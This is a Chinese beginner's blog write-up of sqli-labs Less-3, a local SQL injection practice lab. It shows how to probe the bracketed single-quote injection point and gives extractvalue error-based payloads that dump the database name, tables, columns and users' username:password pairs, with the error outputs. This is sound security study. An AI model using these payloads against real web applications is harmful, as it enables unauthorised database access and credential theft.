小白注入学习:sqli-labs--less3学习记录

Less3 单引号变形注入:手工报错注入

1.判断是否为注入点以及注入类型
(1)在id后面输入 ' 时,数据库报错但与less1,less2都不相同,这里的报错多了一个 )由此猜想当输入?id=n时,这里数据库执行的是语句大致是 select * from tbname where id=(' n ')
(2)在URL输入 ?id=1')--+ 页面正常显示 (小白注释:这里)闭合sql语句中前面的括号,--+注释后面的内容)
(3)再在0中加入 and 1=1 和 and 1=2 测试可以确定这里是一个单引号变形的字符注入点并且可以用报错的方法注入。
2.获取数据库名

?id=1') and extractvalue(1,concat(0x7e,database(),0x7e))--+

报错信息 XPATH syntax error: '~security~'
根据报错显示可知数据库名为security(小白注释:这里的0x7e是16进制的~,0x是16进制的标志)
3.获取表名

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

 报错信息 XPATH syntax error: '~emails,referers,uagents,users~'

从报错的信息可知当前数据库有3个表分别是 emails,referers,uagents,users
4.获取字段

?id=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))--+

报错信息 XPATH syntax error: '~id,username,password~'
查询表users中的字段名有3个分别为 id,username,password
5.获取字段内容

?id=1') and extractvalue(1,(select group_concat(username,0x3a,password) from users))--+

此处观察到报错信息,没有将信息显示完全,使用查询语句not in显示其他信息

http://localhost/sqli-labs/Less-3/
?id=1') and extractvalue(1,(select group_concat(username,0x3a,password) from users where username not in('Dumb','I-like-you') ))--+

即可获得username和password
6.当然Less3也可以用union联合查询显错式注入,在此不赘述。


PS小白总结:

(1) concat()函数将多个字符串连接成一个字符串,语法concat(str1,str2,...)返回的结果是连接产生的字符串,如果任意参数null则返回值为null
(2) extractvalue()是对 XML文档查询的函数,返回包含查询值的字符串
extractvalue(目标文档,xml路径)第一个参数是字符串形式的,第二个参数是Xpath格式的字符串。
使用extractvalue()函数进行报错型的注入就是当输入错误的Xpath格式的路径就会报错,从而得知查询内容的相关信息。
(3) 类似的函数还有 updatexml()。这个函数是跟新xml文档的函数
update(目标文档,xml路径,更新的内容)参数 1是字符串格式,参数 2是 Xpath格式的字符串,参数 3字符串格式
报错原理与 extractvalue相似,输入错误的 Xpath格式的路径导致报错,获取相关查询信息。
(4) Less3中根据输入的 '的报错信息,猜想其id值可能包裹在一对括号中,这点非常重要。

 

小白注入学习记录!!

 

posted @ 2020-03-27 01:14  二算i  阅读(204)  评论(0编辑  收藏  举报